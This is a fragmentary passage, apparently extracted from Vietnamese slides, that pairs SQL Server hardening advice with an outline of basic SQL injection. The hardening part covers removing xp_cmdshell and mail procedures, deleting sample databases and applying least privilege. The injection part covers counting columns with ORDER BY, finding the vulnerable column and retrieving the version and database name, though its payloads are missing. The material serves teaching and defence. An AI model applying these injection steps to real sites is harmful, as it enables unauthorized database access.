* Nhiều Extended Stored Procedure không dùng đến trong hệ
thống có thể được xoá bỏ một cách an toàn Nếu điều này được thực hiện, thì cũng nên xem xét việc loại bỏ luôn những tập tin dll chứa mã của các Extended Stored Procedure
* Xoá bỏ tất cả cơ sở dữ liệu mẫu như “northwind” và “pubs”
* Xóa các Stored Procedure không dùng trong hệ thống
như: xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask
- Kiểm tra tài khoản có thể truy xuất đến những đối tượng nào: Đối
với những tài khoản của một ứng dụng nào đó dùng để truy xuất cơ sở dữ liệu thì chỉ được cấp những quyền hạn cần thiết tối thiểu để truy xuất đến những đối tượng nó cần dùng
- Kiểm tra các phiên làm việc trên server
- Thay đổi thiết lập khởi động dịch vụ, dùng tài khoản tạo riêng với quyền phù hợp để thực thi dịch vụ trên hệ điều hành thay vì dùng tài khoản
Trang 33Thêm kí tự để không còn báo lỗi
Khai thác cơ bản: đếm số cột tồn tại trong site khảo sát: bằng câu
lệnh:
Order by number hoặc Group by number
Trang 34Như vậy là có 3 column trong table hiện đang được sử dụng
Trang 35Khai thác cơ bản: tìm số cột bị lỗi và tiến hành khai thác
Thao tác cơ bản: get version:
Get database name: